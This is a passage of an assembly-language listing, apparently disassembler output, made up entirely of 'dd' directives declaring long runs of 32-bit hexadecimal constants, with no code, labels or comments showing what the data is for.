		dd 2AFB559Fh, 0BF53DE51h, 962900CBh, 28832E87h,	157E3395h
		dd 49D57800h, 0B82BAC98h, 0C0A1E6F9h, 0CF26B4D9h, 0B7022538h
		dd 88172758h, 0D8A380BEh, 6A20536h, 30466328h, 273CC112h
		dd 0F9F967C6h, 0C1412AA0h, 0B8E855h, 259B1E99h,	30C028D3h
		dd 0CAB9A903h, 0A42C5Fh, 0C822EF71h, 191E9FCFh,	4239FDB8h
		dd 2345806Fh, 44B88DBAh, 0F6FA06C0h, 2EF335CAh,	7EA838C3h
		dd 60E1714Eh, 5D528145h, 1B06D966h, 3C2DC5F5h, 0E76502AAh
		dd 43B5FEE6h, 8A2E1480h, 0EA001179h, 5DD8BE32h,	1C156AB9h
		dd 7A41814Eh, 0B368EFB0h, 1E63ACFEh, 7DA2F39h, 3B0EAEB9h
		dd 0C34E8211h, 2B22EB60h, 68968007h, 0D91799A0h, 0B03D5E11h
		dd 43F9B881h, 0B8A92F08h, 46007A41h, 0F41169C8h, 7F78875h
		dd 27AE8C1Bh, 80BD644Dh, 974E0468h, 86545F3Eh, 0AEA0C8F0h
		dd 0B1A64489h, 73001A70h, 0FB562DCAh, 6E55D33h,	0FA54A86Fh
		dd 357FB876h, 0F6AD44h,	66452543h, 7C5B1728h, 79EE0D0Fh
		dd 52084051h, 4564A733h, 12F5F554h, 0B4732095h,	0D2016690h
		dd 0F4468847h, 186F5EABh, 0AAFEC1E3h, 41984854h, 0F0C92720h
		dd 75B23BF0h, 102DFD98h, 0E0A82BC0h, 0FF009717h, 8A1DA101h
		dd 2408D2F0h, 4E7460A8h, 6F3E0938h, 808CA900h, 0F8F11BA5h
		dd 0CC313345h, 5900C061h, 0B4EFC8C7h, 7BCFF9BBh, 0A94D00E4h
		dd 413C7DBCh, 31C0E628h, 58B2E348h, 545A2416h, 3A1E26D6h
		dd 4926C018h, 4E004D55h, 181543E8h, 0F9D2493h, 573BFDF9h
		dd 0F412E80h, 51C15FA8h, 0AB2FD6C7h, 0D9F3B841h, 81F8C611h
		dd 0A9037E99h, 0FAF1D636h, 0ECDDEDCh, 0CE171888h, 0DA451DC0h
		dd 0C128C2C4h, 998282Ch, 252415F0h, 4111B44Eh, 871ED100h
		dd 4B8EA742h, 0BB5C7400h, 388A2C90h, 411B0CA3h,	2899C82Bh
		dd 3971D530h, 26C22E58h, 9448DC5h, 24102C5Eh, 0F700FAB6h
		dd 177C027Bh, 607DA884h, 510F893Fh, 4CA0C04Eh, 0E0FA78Fh
		dd 4009FD70h, 29233615h, 703E4D4Ah, 4E00C724h, 0A6F92C00h
		dd 9512F62Bh, 4000575Eh, 29018916h, 0CB511866h,	8CD0A9E5h
		dd 23929D00h, 0DBBBA8F7h, 48B3982Eh, 4850D8D4h,	2C260441h
		dd 83805FC3h, 9101A270h, 0F72DA95Eh, 0B84CFC36h, 7050012Eh
		dd 0C7FA6A34h, 22B6DC3Bh, 192F731Eh, 5EC0A2DFh,	0AAF5C2CAh
		dd 0F8FB132Dh, 52E020D2h, 2B0017B6h, 0B8B7359Ah, 0A447A856h
		dd 51D724F4h, 4F1114h, 16EBA1B2h, 6BC882h, 447FCFD9h, 859D7EE0h
		dd 0A8F32F04h, 348292B6h, 51CC90CBh, 3D2702BEh,	0C64C4575h
		dd 0C9006444h, 9D3C0705h, 1F22FFAAh, 24CB33CAh,	0B65634Ch
		dd 91982F8Bh, 6D0CAD21h, 41CDF6AEh, 88A74CFEh, 186E4895h
		dd 52E7B080h, 0A50AFAFBh, 0F0DBEA09h, 2C20324Eh, 94BBDDh
		dd 8FD8E2Bh, 70146260h,	7417C200h, 735CC443h, 395160C1h
		dd 0FC1AEA59h, 198AFF07h, 5205462h, 7BF95258h, 0D78C009Bh
		dd 13A84668h, 0FD003A53h, 80494550h, 777F4F2h, 4A70572Dh
		dd 1C08D9F3h, 0ABD70F48h, 0C1CFC4DEh, 197EC6A7h, 0D6CB3518h
		dd 0C003C6D1h, 0C645531h, 9C1F3A67h, 0A5000A27h, 0CC9DCE7Ah
		dd 0F7F20056h, 395368A4h, 1B13550Fh, 78011CFFh,	0A329D847h
		dd 0D36DE1F4h, 6E03060h, 44070A18h, 0AD734FA8h,	1948A9CEh
		dd 28E5B1F4h, 9C974F0h,	0AF34A9F7h, 0CC3078A2h,	443AD82Ah
		dd 745B0031h, 0F04E48D0h, 9D602EFFh, 0ECE77BC9h, 32187E98h
		dd 0B99024D8h, 0AF240429h, 8D49A844h, 55808040h, 5F6FF44Bh
		dd 0D05C480Eh, 0B4002922h, 70A051A2h, 1DB9477Dh, 404F93A5h
		dd 46B221CCh, 0A37D74BEh, 58EE340Ah, 0FE88A8D3h, 251C012Dh
		dd 60D8DFD4h, 0E100472Fh, 0EBBB1208h, 3316DA0h,	9D408E11h
		dd 85A7FFE4h, 347803E3h, 0B10BAEEDh, 7F633Dh, 40E1F328h
		dd 2A16262Fh, 3A91D4h, 2E330D19h, 1A6CFE3h, 64B0F526h
		dd 7A2F7986h, 280520E0h, 4B42A6Ah, 7A9F8CFh, 0D92F0FB4h
		dd 0C8EBDA69h, 486D025h, 3965E215h, 462090D4h, 5311A8D2h
		dd 0C6117076h, 48B705ADh, 9C0821E0h, 4C868050h,	1A2C97F3h
		dd 858FD403h, 0E04B6CC2h, 37D7BADh, 0A833E779h,	40035290h
		dd 53A7A1D8h, 7C614881h, 0BFD5AC1h, 1422CCBDh, 18CA4C03h
		dd 0B1AA9FFh, 172C4121h, 8140A0A8h, 0E8D18581h,	0D9F6C036h
		dd 113F0A00h, 0D8EF74C4h, 2545004Bh, 40D6AB2Eh,	20A10527h
		dd 91AA104Eh, 50BB008Ah, 23E5CCDEh, 310506E7h, 2DC3A8F4h
		dd 7B6A409h, 8868F058h,	30A4CD27h, 0CBB98060h, 52CA0711h
		dd 0F3AD761Ah, 4C92FEA9h, 2E23F0A0h, 4118330Eh,	0FE41512Fh
		dd 9080A4B4h
		dd 0DB4904D8h, 0A228AA9Bh, 0C2E11E10h, 0BF541C41h, 0FEE4DEAFh
		dd 4E71BBh, 368B6003h, 46560E33h, 3FED2F18h, 8849A659h
		dd 0CA603441h, 0B75E2771h, 2C1F8B2h, 2C0F7FA3h,	0F0A79E2Fh
		dd 826F1064h, 0FE07695Ch, 35F0521Fh, 748667F0h,	24509039h
		dd 45C42FA3h, 3080AEC0h, 0BCC48BCh, 0BEB24E79h,	161FC380h
		dd 0FA5D976Fh, 0D849058Ch, 0A40AC6F6h, 29084CD4h, 5FF081C9h
		dd 0D0AE2C20h, 0EE032BA9h, 2853875Eh, 0A2BBF8h,	5FCF1371h
		dd 46B938E1h, 182D3012h, 0F40CA113h, 67A03810h,	312EE264h
		dd 0F9DDCFF7h, 0E2C72EEh, 624FE53h, 79CBC6h, 0BBBD606Dh
		dd 5D76B974h, 0EEE65504h, 0F881454Eh, 26078831h, 78B041C8h
		dd 4D700861h, 19981546h, 632130B3h, 60B4D458h, 2AFA3069h
		dd 3BBF16E4h, 8581665h,	5E8226D0h, 0E449A37Ch, 585F0CC0h
		dd 9351E0C6h, 1D41403Ch, 0F600EC69h, 0AD75EA62h, 48AC29F7h
		dd 60E462A0h, 2C4C0042h, 7C1ECB46h, 415D8552h, 0BB04C177h
		dd 3C16074Bh, 0E8870051h, 67B7AAFEh, 1300EE4Ch,	0D0118B42h
		dd 901018h, 0A874FA7Ah,	50F36237h, 0F9584C54h, 4213100h
		dd 709BA524h, 0C047FC38h, 801C959h, 9F01EFCFh, 81C3AF73h
		dd 0F98252C1h, 6BA2AC31h, 1A5E63E0h, 18AFE400h,	48EFA859h
		dd 0B79CA077h, 841D2C28h, 0BC5F013Dh, 86E517F2h, 4C2F4924h
		dd 0F94644C9h, 135E3Ah,	83411F73h, 727E9729h, 54A50999h
		dd 4046604Ah, 0BCC4D704h, 0D0C48C49h, 6F08CCh, 53F72ECEh
		dd 0E1F509A1h, 383E4600h, 5E34C541h, 9D1F285Ch,	0B0CC22B4h
		dd 0E87DA829h, 0CC4350Ah, 1FF62E00h, 6721147Eh,	3434C15Eh
		dd 0BF2C8812h, 4039356Fh, 0A76E27A5h, 994D0004h, 5FA00961h
		dd 2B005944h, 4EEA2553h, 0B05446E6h, 60B476CCh,	277F68AAh
		dd 9D5C77B2h, 0A880640Ch, 0F1E1C646h, 7C561400h, 21DF1F34h
		dd 0C1C3055Fh, 1E6495EFh, 0D52789B4h, 0BB3E0C20h, 0AD14DE1Eh
		dd 0C0D8CBA5h, 742C18AEh, 0EDC30049h, 6BBE6D5Eh, 0C901F6CBh
		dd 0B8A62AFCh, 787148A7h, 0A00F027h, 2A9B9FD4h,	0A801D796h
		dd 0FEFA388h, 6873277Ch, 6FCA5E05h, 12B40129h, 402F4D18h
		dd 0FEFD5764h, 0BC521601h, 1C638830h, 29B56C0h,	0D53C4CA3h
		dd 46005D2h, 0A8E25FD0h, 0C65C6151h, 5A008864h,	77D4A2CEh
		dd 0EED873EEh, 1CDF5C57h, 2CB99D22h, 0F4CAA600h, 5162B5h
		dd 0B0263F42h, 0DCC1B2C2h, 0F20838B9h, 0C05384D5h, 9B3F4050h
		dd 60EE19h, 7F069F35h, 365E6CCFh, 0B5EC3700h, 0A64ED6BBh
		dd 0B47930EBh, 3465A841h, 0A088CC8Bh, 0F2FD0007h, 2AAAF8F0h
		dd 1125A79Dh, 0BCE418C1h, 40D9008Ah, 0CE5FBEC0h, 4AEFEFEAh
		dd 7A0404C0h, 5F82DA5Ch, 96E4402Ch, 0DF454064h,	0EE0688h
		dd 0C827740Bh, 764A348Bh, 3A142892h, 938C2A41h,	424B3008h
		dd 0F020C830h, 96C5B8A8h, 0AC258050h, 0A708916Dh, 64C6F8A2h
		dd 6287707h, 9DC06E64h,	1FE2C298h, 0C6A157h, 4F81BCCFh
		dd 0C113A642h, 4C0AAF79h, 33083887h, 0FDB96C9h,	0C6E0BC18h
		dd 0C0A65175h, 70186CB1h, 0B9CB5231h, 930700D4h, 1B9849C2h
		dd 87F56A0Eh, 0B5409E37h, 2F458001h, 0E604E283h, 0C65708A5h
		dd 0A88E2D31h, 0C8624936h, 220BFC0h, 65791151h,	20784A4Eh
		dd 6CF24C10h, 0D8935E27h, 0FC2DE2A9h, 0FB006830h, 0B5EE56ABh
		dd 0B424844h, 4753BE03h, 0B419320Bh, 0EE03C29h,	0D0EE35CDh
		dd 26BE51C8h, 54643CCBh, 0C8DD3C30h, 0B9858899h, 5B807BEBh
		dd 14DF02h, 5BE32193h, 0C01613EFh, 81B2FB06h, 284171ADh
		dd 4F2CF7F3h, 7B282853h, 0B7A2A1Dh, 0AAE4F341h,	4C3C9D29h
		dd 79828180h, 2F280CA1h, 7E2224E7h, 465E273Ah, 43BFB411h
		dd 7B804F5Ch, 18034359h, 685E511Dh, 902940B8h, 50AC07E0h
		dd 0F424888Dh, 0CD98C8C0h, 2CC38217h, 28AB3D00h, 0FA2AADD5h
		dd 0AE3B1E8Ch, 11E8244Ah, 0D8FE79E6h, 4BF85506h, 0A1EB2Ch
		dd 37F4853h, 0C511F9E4h, 1029BE06h, 0E621DF2Ch,	25EC001Dh
		dd 30E66B2Ah, 0A23D6A3Ch, 462F80A9h, 3267B40Eh,	0C5C58C5h
		dd 3F225894h, 0B140049Eh, 4513F1h, 0D59419C9h, 20706D78h
		dd 2962A900h, 413CFB5Dh, 0A7F288EFh, 77585415h,	0ADC511CCh
		dd 6CD4FB05h, 50ACC751h, 0C62934F3h, 0D74844h, 0F267C264h
		dd 31C02FC3h, 2854AA73h, 8100F698h, 0D47F7071h,	1366B535h
		dd 3049AF75h, 0FF96F4C0h, 424E5101h, 0AC2EF529h, 9EA3DE10h
		dd 0EABA1000h, 21F9BDD6h, 0AB8806A6h, 8176A7FEh, 27297A05h
		dd 0D8B25251h, 5AAFC000h, 8E98D0C2h, 2C6A3900h,	0B791760h
		dd 0A65C1D2Fh, 1E0C93D6h, 41E612FCh, 77EFB7F0h,	0EB40402Ah
		dd 5600075Ch, 2338F27Eh, 5C32F0F3h, 0A804100Ch,	90FAC601h
		dd 6B07D128h, 8C481100h, 942B82A3h, 93AD0023h, 0C5BEAE39h
		dd 0D6E053F8h, 0A6CC3513h, 883F1888h, 3413545Eh, 70082A88h
		dd 0ACFE8AE7h, 9C563A74h, 2DCF3516h, 78ECE0B8h,	51B1F701h
		dd 0E6A9C0C1h, 5222843Ch, 1E78A00h, 4D6FB216h, 0E0F10392h
		dd 4B84EAA4h, 578AA400h, 49EC604Eh, 446631A8h, 62ED3539h
		dd 3DB4433Ch, 9E411FB1h, 8B3D3300h, 96F680Eh, 0F57C9C1Fh
		dd 6AF2D901h, 455083EDh, 0D0C1B7h, 493F5ED1h, 0DE7FF895h
		dd 0CA400CB6h, 1C16066Dh, 0C1C59D27h, 0F773625Eh, 1F5062ABh
		dd 705E3352h, 1D82D40h,	614E66h, 80B776EBh, 0BE2A40ADh
		dd 0A8844C94h, 0C8C8C978h, 68CE002Eh, 1964D867h, 8300160Ah
		dd 0E565B62h, 98A5B454h, 339544A4h, 20699D04h, 0F78077D1h
		dd 1268F504h, 22ACE0Ch,	0BFFEB174h, 77284446h, 10003CC9h
		dd 75BB8D3Fh, 98294557h, 44709015h, 5CE4D7A5h, 1C669512h
		dd 49A9E004h, 0B31D4144h, 0D3F71EA0h, 0DC11C824h, 5222E058h
		dd 51FB1303h, 0E06B0C88h, 329D4Bh, 0F405A5A7h, 7A45FCCFh
		dd 40285216h, 3B470902h, 1605372h, 5B92761h, 1E30F8ECh
		dd 0D3A9B217h, 1FF42100h, 526677Dh, 2B413527h, 4B28F410h
		dd 58E33F06h, 7494AC6h,	0CCDD56A4h, 2D9CD022h, 0A90986B6h
		dd 244DF217h, 0C984FB00h, 78D7FC90h, 24280096h,	0FF57E487h
		dd 0B703BD56h, 0A966C999h, 0B0080081h, 0D6C40403h, 37013FF2h
		dd 10BC381Ah, 2180A9AAh, 58BBB119h, 890007E0h, 216FCE57h
		dd 160E55Eh, 0D090CC55h, 8F82AA49h, 0FBE031h, 0DAC0CCEh
		dd 86C4008Dh, 7A9970E7h, 461E4A65h, 2B4806A1h, 0B99814C7h
		dd 9D04E00Ch, 5E618611h, 9C1EC908h, 57EE660h, 6AE2FB9h
		dd 0E24C00A9h, 0D2654A83h, 0D557FE00h, 0EF4FB1FDh, 0B123DBDh
		dd 0D9AB6B87h, 1CD300Fh, 70B8A520h, 0AC3F440Eh,	0AE32C7F0h
		dd 0A20EE111h, 20593C42h, 0FB4F8AA5h, 13188C07h, 3431AD3Ah
		dd 98ED5B66h, 469C819Dh, 1087FAC8h, 79021004h, 0BF40E27Ch
		dd 0B79929BDh, 8EF6D470h, 519E9B0Fh, 9606E0FFh,	1B89B834h
		dd 518F305Bh, 0D4754EC0h, 12EA88F0h, 8D835418h,	0F03691h
		dd 7AA75701h, 9D08A7Fh,	6271A316h, 0FE35AB00h, 163AD7Bh
		dd 0D2B894DFh, 86853156h, 61478F59h, 33010E49h,	1083CCC3h
		dd 0F9019C20h, 63C0E771h, 84704E3Eh, 0A8870E46h, 94C35419h
		dd 3180F8F0h, 0E2024FC8h, 6ABA4E6h, 77A88110h, 7BC8344Eh
		dd 78FC0264h, 0C92F115Ah, 0AAE1AF20h, 8E3E006Bh, 7A4BB8CEh
		dd 0AE0675CFh, 972011B1h, 0FEA60729h, 598315h, 6B9B8939h
		dd 7779E700h, 0E8334DE6h, 714B095Eh, 86DD3237h,	0ED15A4Eh
		dd 1E0D7B21h, 512885h
		dd 0B435CB9Ah, 401DA19h, 3E76108h, 0F0526225h, 0E9682056h
		dd 14007DB9h, 0A5941719h, 16F913Ah, 214AC1CCh, 0D6A8D862h
		dd 6090844h, 15E022Eh, 6BA9D61Ch, 0D5F4ABD9h, 1B0892B4h
		dd 0D1A30FE7h, 397CDBE3h, 0A6B6B702h, 0A596495Bh, 7C1D218Ch
		dd 0E5516080h, 8C0285h,	0AD9CF1B5h, 631B3A7h, 0AF88B103h
		dd 0EA62026h, 0FED0FD31h, 83297987h, 1FA92342h,	0E82780h
		dd 0E1AC7061h, 9CD3405h, 269C302Ch, 0EA16B007h,	0A008E784h
		dd 0DB35B93h, 267C6500h, 0D4235846h, 1C1203C6h,	0CE19E762h
		dd 7CD18106h, 22F1871Bh, 0A9049E03h, 81C29F5Bh,	69DC88h
		dd 66AFBAACh, 0E7AEE3D9h, 95948F3Eh, 18CECE4h, 2A61DD10h
		dd 1C501DF3h, 8E936Dh, 7220DE8Fh, 90A901ACh, 3268C860h
		dd 30C49C26h, 0CC799522h, 6A039D29h, 0B9E72A10h, 4F14005Ch
		dd 8E03DBE9h, 680387F6h, 0B4E0C842h, 2808769Ch,	3883B8h
		dd 2EBE8AE4h, 0A8E9A270h, 8744F090h, 65D00019h,	172A92Fh
		dd 10183E11h, 84C1CA78h, 7EF301B6h, 0A02BAE29h,	0A82334h
		dd 5594C351h, 0FF698F95h, 0DA3B3CF0h, 9803794Ah, 69069966h
		dd 0B5796C75h, 0C7800059h, 1A7714C3h, 45FCF60Bh, 120F9409h
		dd 3C188282h, 0DE9D10FDh, 2E39BD60h, 629CD318h,	0B3FAE01Eh
		dd 0C87903h, 0AC8E3D21h, 2EB069E8h, 9BFDDF1Fh, 968E654h
		dd 90188E10h, 24A1DC14h, 910013B9h, 0E13A7D05h,	442C44CFh
		dd 0EF0D6CEh, 0E20C9B74h, 0A8C98337h, 11CE424Bh, 103CB2DAh
		dd 12222101h, 3055481Ah, 0D3444550h, 0F0A84C06h, 0A25EBA80h
		dd 0F500F1D4h, 83C35F91h, 24C77786h, 38F6CF57h,	0A0A9E002h
		dd 0CC60B31h, 0CD394500h, 0A45BD7E3h, 0FFE50126h, 74BF232Ah
		dd 0AE86C028h, 0DC467926h, 882F45h, 0F3DB01E3h,	2A5E5DD8h
		dd 3351C858h, 6CC3F203h, 0E8558218h, 0A888E16h,	0C87F1380h
		dd 24DD448Ch, 0F1788C90h, 69A918D9h, 34C419CEh,	16183C79h
		dd 2C399F20h, 0E66DFA85h, 6E30001Ah, 3D3279D3h,	0E11EECC2h
		dd 570CABB5h, 60AA689Dh, 8C09E194h, 62000685h, 3096F2C1h
		dd 0F1069h, 4A6644Ch, 0C2DCF3EAh, 512848EAh, 3344B0BDh
		dd 0F9E16079h, 21C90D6h, 0B9173700h, 30A24D62h,	99D10081h
		dd 0BE33C9A8h, 0E713509Eh, 1C225104h, 6C8F205Ch, 0E3EA46ADh
		dd 0D05D5301h, 601F8EF1h, 35A9218Fh, 0F404C5EBh, 1B32703h
		dd 58B9B931h, 26ABA6D8h, 91A417DFh, 3EB58BDh, 20138A1Ch
		dd 4A393CA0h, 311FB507h, 238C3FCAh, 5F608669h, 2B013E71h
		dd 0DD620029h, 52404C0Ch, 0E498E002h, 5AA82C04h, 64D801E7h
		dd 9C37E921h, 0DF98F00h, 4F267DA6h, 1C733604h, 0A884BCA2h
		dd 0F3C38C8h, 3AAFC4F8h, 437C3FA0h, 0AE50F9ACh,	0B144E264h
		dd 0A85C14D8h, 413CA05Eh, 2F1C5853h, 822B00B8h,	581BCC96h
		dd 0AE694A00h, 3738326Ah, 0B0EA284Eh, 7B3F4890h, 20395030h
		dd 0BD005745h, 9E55EBE6h, 0E7083E06h, 150C8F6h,	0B89AF8B3h
		dd 93804494h, 62DEEA00h, 51F8EE0Ah, 4458A43Fh, 63E1E7B4h
		dd 3C82160h, 9281D2EBh,	4A601101h, 0D844F14Ch, 0A863CCh
		dd 0D6FCCEBEh, 37EEF287h, 0BD0B2D3Fh, 80B1D17Eh, 0C88FE951h
		dd 7955DB9h, 8AA10FBDh,	15A6403Bh, 0D61251F1h, 4C54477Ch
		dd 9952C0E4h, 1575BBh, 0E3E235ECh, 83D94E5Ch, 0D678D31Ch
		dd 803DD029h, 66185282h, 1345DE71h, 0E4B01A1h, 368A061Fh
		dd 0D03F60BCh, 0F100FEA3h, 9680F327h, 6C1B87Dh,	188FBC0Bh
		dd 5B2E2955h, 2164A048h, 0F2ABE721h, 5230E061h,	122610h
		dd 0C2AE02C0h, 6928C1E2h, 0F017242Fh, 4909BAD8h, 8E9AE0EAh
		dd 0C4F19818h, 4CDCF05Ah, 1BC8C4C8h, 0D1EB0140h, 0D4D9539Bh
		dd 0E6902B21h, 0CBBB4982h, 809C78E9h, 31F0A921h, 0EB6A1D8h
		dd 47127F2Eh, 0DA5C6253h, 0CE382213h, 5C6CD126h, 0AAA943h
		dd 1FF667E9h, 34AE35BCh, 97F4ED00h, 191618F8h, 67AC4CC9h
		dd 8E547705h, 4AA43245h, 79084419h, 889B0331h, 24722011h
		dd 0C05EA41Dh, 517712F2h, 92E68799h, 45700A00h,	6D7A3EE4h
		dd 8CB84C19h, 0E33FB45Dh, 990A378Bh, 7A6EA100h,	0B10E2F14h
		dd 61392A77h, 0E39BC18Dh, 910FD036h, 672335Bh, 909773B8h
		dd 60004CB1h, 63091210h, 422A00A9h, 6D95AE67h, 0A202A46Eh
		dd 6D022ADh, 1C66CCh, 5631F262h, 20142AEDh, 751C8507h
		dd 6A5204D9h, 0C444AAh,	0E549F4Dh, 0EBF93148h, 0E1AEB809h
		dd 0FEC90088h, 352C73FDh, 89A801h, 0C37F4B80h, 503E7176h
		dd 0AC1CA9C4h, 45C83290h, 0A9ADF40h, 0CE8926F5h, 97DE0131h
		dd 0CC04D603h, 289681C0h, 5F3DBD80h, 0B28339h, 74650B9Ah
		dd 0D3BE9EB7h, 7FA91F24h, 0E7E23100h, 969887F7h, 1D582A60h
		dd 3D621C36h, 955FA98h,	9CB9A959h, 0E7EA360Eh, 0A522CBA3h
		dd 778C620h, 2BF63C52h,	0C410C0C8h, 0A92C3A8Ah,	359210D5h
		dd 71C15493h, 94DE4831h, 6183A986h, 42819614h, 0E86B00D5h
		dd 0FFFCBA1Eh, 24864C4Bh, 10000222h, 3A9F5818h,	1DFAC16h
		dd 2249B873h, 0E0A93FEDh, 1C2A8FBAh, 0E1058863h, 0BFFDC89h
		dd 0B784A0D7h, 4E5683C1h, 3174D02Dh, 631674Ah, 650AC011h
		dd 0E47CAA51h, 0CE0977B8h, 143D5h, 13A82134h, 0C194A33Eh
		dd 1981B309h, 2F2A9E8Dh, 7FE980CAh, 53B890D9h, 5F3A03D3h
		dd 8F5E6BABh, 0FC44E7EAh, 0A278B086h, 0E61CCD07h, 0F0852A06h
		dd 10BCA082h, 2490ABA7h, 9C4E120h, 705A7A9Ch, 49C1CC04h
		dd 23348406h, 0D4B0D026h, 12FC2B5Ch, 20811683h,	34224B5Bh
		dd 44DEB81Eh, 0A0A9C081h, 0EC05CD20h, 72478FCFh, 83321804h
		dd 1101AE20h, 9049F490h, 1D622160h, 311A2248h, 86C0EA44h
		dd 12E90F34h, 0C821A8D9h, 527020C0h, 262E6E01h,	0AB37E7AEh
		dd 8D3C4888h, 0B21004A6h, 3EAAD300h, 0A901A5D5h, 40CE4A26h
		dd 13528944h, 21342200h, 76000052h, 6DB14CEFh, 39E3AFC6h
		dd 410DA474h, 64206E3Fh, 5988AEC4h, 18B89Fh, 0E024E114h
		dd 0B7C019BDh, 0FC97DC2Eh, 0EBB9E767h, 0CE0446Ch, 7411E904h
		dd 80B83C3Ah, 8170DE37h, 4BD6006Ch, 6B55F075h, 5202268Dh
		dd 863CEEB9h, 1504917h,	2AE6FC64h, 208C2575h, 658CA97h
		dd 7C55CA50h, 917C8591h, 0A339B000h, 77443D5Bh,	724B121h
		dd 0A0EDF3B3h, 99BE9F6Eh, 89913904h, 28C88659h,	4D530034h
		dd 3AB20914h, 30009F47h, 0C8E7817Eh, 99C2731h, 0AE59EA90h
		dd 0DEA90C40h, 3C9BCCBAh, 0DC7CCD02h, 40942499h, 1AE7F714h
		dd 75870085h, 0AA563DF8h, 46604CA5h, 2B53925Ch,	9B213090h
		dd 78BF0349h, 0C267E01Fh, 34A1C7C0h, 3447D0B5h,	10804BB1h
		dd 21183090h, 7FC73999h, 8645C400h, 9B941489h, 883B008Eh
		dd 335D0FDBh, 0B4480A1Ch, 0B7840434h, 88A447A8h, 2B7D3A6Ch
		dd 2668EC2Ch, 0E0F82CE0h, 2B5636D3h, 640B8802h,	5023710Ch
		dd 1549050h, 0DFF1667Bh, 24ED7997h, 38003480h, 0B19E8E7Ah
		dd 0B90D85h, 6415D72Ah,	6340975Ch, 0B6E21705h, 0A4020211h
		dd 20A222C4h, 770EF619h, 0D0F4FD01h, 0E6AD39E5h, 13BFB7F8h
		dd 20868317h, 9BE7717Ch, 0A3D88C02h, 0C6507C1Bh, 0D76F8h
		dd 7E962E5Ah, 7D331C5Dh, 8434A200h, 0CB26D981h,	401C928Dh
		dd 4484AAC4h, 700D09Dh,	1774E539h, 1458743h, 0E0FFBB2h
		dd 28D1D5ACh, 6D49802Ch, 1F05323h, 90C3092Bh, 0D0DD4675h
		dd 9C00EDFBh, 0A9138A12h, 0B8BD2106h, 2BE74400h, 0A0FAF101h
		dd 753E9036h, 4568FCh
		dd 0AB529E7Fh, 0CE9824D9h, 2052067Eh, 0F29700F4h, 0EA0193B8h
		dd 0D2A300EBh, 0A51E0F03h, 0B4015781h, 0B87E20B6h, 0FC246B96h
		dd 7CCA47Ch, 8C65D9E6h,	9020DFBBh, 9D17A3D2h, 0A11CDFE6h
		dd 38826A6Ch, 45859A12h, 38A0030h, 53A4B49h, 97E84239h
		dd 0DA027306h, 60915F33h, 0B107E004h, 0D6A91F98h, 0E8E099BEh
		dd 9C9ACCD4h, 8A4D60B0h, 2F7216DCh, 0E05D2C92h,	893418h
		dd 0E8931579h, 0B57BC0FEh, 50A3E01h, 0ED30A28Ah, 0D9FC60E6h
		dd 30665BA0h, 0E2286F08h, 674E9500h, 0ACA69E79h, 8CE6B3h
		dd 0D7B84920h, 0A8CB35A9h, 3E9F5B13h, 9B7C3C01h, 2D401D1h
		dd 6C60A0A2h, 570F0755h, 40CE315Dh, 0AEE40644h,	8F4820B0h
		dd 9F56C090h, 0CB94CCh,	44384CFAh, 550AF223h, 0F42DA098h
		dd 8FD0B061h, 8AEB072Dh, 0F1ABF34Dh, 0F497FDEFh, 50B425E3h
		dd 0EC454Bh, 5F58C0B8h,	5526D219h, 2BCA01Ch, 5C613A9h
		dd 14E05A65h, 646E06E7h, 0CC03CC53h, 4BAB9062h,	59D06493h
		dd 0D200FB38h, 0E7C0C8A1h, 750116F0h, 0F02C4CCEh, 4079AE83h
		dd 22D84114h, 0F6EB80B4h, 9BBD694Ch, 88C71BA0h,	6C1821A4h
		dd 21DC9417h, 6185A8A9h, 80614533h, 7AF3654Bh, 2BB4300h
		dd 0E8413A0Eh, 40B09438h, 0D5B9B2E2h, 11D13900h, 0C4B84F35h
		dd 1D8A01DDh, 78FE9BF5h, 861A8E4h, 0FD59544h, 77BE425Fh
		dd 0F31F037Dh, 0F6E12269h, 6A7CD045h, 4DEEFF17h, 2CD83C05h
		dd 2F118CC1h, 9000039h,	6ADF726Dh, 321F429Bh, 0DA807382h
		dd 18A27774h, 172A0024h, 11F68707h, 0D8A481C0h,	0E193E501h
		dd 0B10E78DCh, 0A1B527C0h, 0EE105BE8h, 0D4007F58h, 21F50E44h
		dd 0EF1D2E5h, 5477C4D7h, 8F94DAC2h, 61F3CE6h, 82BE7EE7h
		dd 1D49B816h, 28D9C5h, 5869096h, 73009314h, 0EA28442Eh
		dd 1810779h, 8009AE38h,	3CA967F0h, 2CAF80A4h, 135BE26h
		dd 26A53D8h, 0EF15D161h, 0A9415E90h, 0BBC2E894h, 68910B73h
		dd 6498FCC3h, 0EB5E8B00h, 50D22BBAh, 0B43608D8h, 0B080AA19h
		dd 611216BEh, 0DA5A015Fh, 5B2CF4D9h, 302D4Fh, 8D104BB8h
		dd 4EF7312h, 0DA9DBACDh, 7CB2CEh, 0B80D5488h, 2C40423h
		dd 344F21B9h, 1C59A9CEh, 551138A4h, 0CB665B12h,	0C214AE0h
		dd 4109918h, 0E0746A08h, 809CB748h, 86182E96h, 511E00F9h
		dd 1A127621h, 0ABFC9260h, 0B31759C0h, 3BEDE130h, 6B00260Fh
		dd 99D6D4E2h, 0F35F6CC1h, 0AA0C1CE8h, 0A830CBDAh, 3420265Ah
		dd 0F9CABE3Dh, 5611601h, 0BFAE1030h, 57C00BCh, 9C8444C1h
		dd 530B8A0Fh, 641BDCE3h, 78C54540h, 8630C2F0h, 11B85997h
		dd 0CA211881h, 9D42E1h,	6A10839Fh, 0F0A99B0Eh, 75CF4B07h
		dd 0E82DD904h, 53006463h, 9EDF7C88h, 0BE005B5Fh, 0D56D123Dh
		dd 50D27C1h, 80B1CA95h,	2F8E219h, 72D8A596h, 8C11C0B6h
		dd 0F07813E5h, 0E09C873Eh, 7575591h, 13AC5D0Bh,	42F8441Ah
		dd 0D1CB30E7h, 7DCC7DEh, 0E0E39BF3h, 441C415Ch,	9885D8EAh
		dd 2C64DD26h, 0B245AD44h, 3C960111h, 0DCB8D43Bh, 22057BFAh
		dd 21010BBEh, 7E009CB2h, 0D9BFD09Eh, 8400AC4Fh,	6F4C777Bh
		dd 0B38C9EBh, 123E8607h, 0BE778A7h, 17DAF898h, 0F888AB4Ah
		dd 69DB0058h, 13E820AFh, 55607CD1h, 888E1099h, 1CAB488Bh
		dd 85CE0096h, 0A3DFC74Fh, 0C215AA00h, 0BA67CDC0h, 0D2B91FEAh
		dd 7911183Dh, 8D015610h, 0C8DBF20Dh, 6FCC31CCh,	0B4E6E064h
		dd 89A99D88h, 0D8847D73h, 20A75E12h, 52573500h,	0C17B17h
		dd 5F6510E3h, 88AA6A8Ch, 2C005D4Ah, 0A25E35ADh,	3028E95Bh
		dd 0A9F4F0A0h, 6B78D71Fh, 0E9FBA580h, 7718E80h,	0BC30F52Fh
